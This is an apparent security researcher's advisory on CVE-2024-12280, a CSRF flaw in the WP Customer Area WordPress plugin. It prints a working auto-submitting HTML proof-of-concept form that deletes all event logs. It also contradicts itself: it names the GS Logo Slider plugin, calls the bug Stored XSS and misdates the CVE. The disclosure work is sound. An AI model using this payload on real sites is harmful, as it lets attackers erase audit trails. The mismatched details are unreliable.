WP Customer Area is a versatile and modular WordPress plugin designed to provide a private content management solution. With features like sharing files and pages with specific users or groups, it has become a preferred choice for managing confidential content in WordPress websites. However, in version 8.2.4 and earlier, a Cross-Site Request Forgery (CSRF) vulnerability was discovered, which allows unauthorized users to delete event logs without proper authentication.
This vulnerability poses a significant risk, as logs often contain critical records of user actions and system events. Attackers exploiting this vulnerability could erase these logs, effectively covering their tracks and compromising a site’s ability to identify malicious activities. Notably, the plugin is now discontinued, emphasizing the importance of transitioning to alternative solutions.
| CVE | CVE-2024-12280 |
| Plugin | WP Customer Area |
| Critical | Medium |
| All Time | 600 000 |
| Active installations | 20 000+ |
| Publicly Published | January 6, 2025 |
| Last Updated | January 6, 2025 |
| Researcher | Artyom Krugov |
| OWASP TOP-10 | A2: Broken Authentication and Session Management |
| PoC | Yes |
| Exploit | No |
| Reference | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-12280 https://wpscan.com/vulnerability/2b32c0b8-28bb-4220-800b-4c369bca91c5/ |
| Plugin Security Certification by CleanTalk |  |
| Logo of the plugin |  |
Timeline
| November 27, 2024 | Plugin testing and vulnerability detection in the WP Customer Area have been completed |
| November 27, 2024 | I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing |
| January 6, 2024 | Registered CVE-2024-12280 |
Discovery of the Vulnerability
The vulnerability was uncovered during security testing of the GS Logo Slider plugin. It was found that the plugin’s settings could be manipulated through CSRF attacks, allowing unauthorized users to alter configurations without the knowledge or approval of the site administrator. The flaw lies in the lack of proper CSRF validation, which permits malicious actors to submit requests that modify plugin settings.
Understanding of CSRF attack’s
Cross-Site Request Forgery (CSRF) is a web security vulnerability that tricks users into performing unwanted actions on a web application where they are authenticated. In WordPress, CSRF vulnerabilities can have severe consequences due to the platform’s reliance on user roles and permissions.
For example, consider a WordPress administrator logged into their site while browsing another, malicious website. If that malicious site includes a hidden form or script targeting a vulnerable plugin, such as WP Customer Area, it could execute actions like deleting logs, modifying settings, or even creating new admin accounts—all without the administrator’s knowledge.
Real-world examples of CSRF attacks include unauthorized password changes, deletion of content, and modification of plugin settings. The impact of such attacks often extends beyond the immediate action, potentially paving the way for more severe exploits.
Exploiting the CSRF Vulnerability
To exploit this vulnerability in WP Customer Area, an attacker could create a simple HTML form embedded in a malicious website. Here’s a step-by-step demonstration:
POC:
- Craft the Malicious Form: The attacker creates an HTML form targeting the vulnerable endpoint. This form is designed to send a request to delete all event logs:
<html> <body> <form action="http://ip_address/wp-admin/admin.php"> <input type="hidden" name="cuar-do-logs-action" value="1" /> <input type="hidden" name="page" value="wpca-logs" /> <input type="hidden" name="event-type" value="0" /> <input type="hidden" name="start-date" value="" /> <input type="hidden" name="end-date" value="" /> <input type="hidden" name="_wpnonce" value="1" /> <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=wpca-logs" /> <input type="hidden" name="action" value="-1" /> <input type="hidden" name="paged" value="1" /> <input type="hidden" name="action2" value="-1" /> <input type="hidden" name="delete_all" value="Delete all events permanently" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
- Lure the Administrator: The attacker entices a logged-in administrator to visit the malicious website, often through phishing emails or social engineering.
- Execute the Attack: When the administrator visits the site, the form automatically submits, sending a request to the target WordPress site to delete all logs.
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CVE-2024-12280 highlights the critical importance of robust security practices in WordPress plugins. While WP Customer Area offered valuable features, its failure to validate nonces exposed users to serious risks.
With the plugin now discontinued, transitioning to supported alternatives is essential for maintaining site security. By understanding and addressing vulnerabilities like CSRF, developers and administrators can better protect their websites and user data from potential threats. Let this serve as a reminder to prioritize security at every stage of website development and management.
Recommendations for Improved Security
To mitigate the risk of CSRF and similar vulnerabilities, developers and administrators should adopt the following best practices:
- Transition to Alternative Plugins: Since WP Customer Area is no longer maintained, users should migrate to actively supported plugins with similar features.
- Implement Nonce Validation: Developers must ensure that all sensitive actions in WordPress are protected by properly validated nonces.
- Educate Administrators: Train site administrators to recognize phishing attempts and avoid visiting suspicious links while logged into WordPress.
By taking proactive measures to address Stored XSS vulnerabilities like CVE-2024-12280, WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.
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Artyom k.
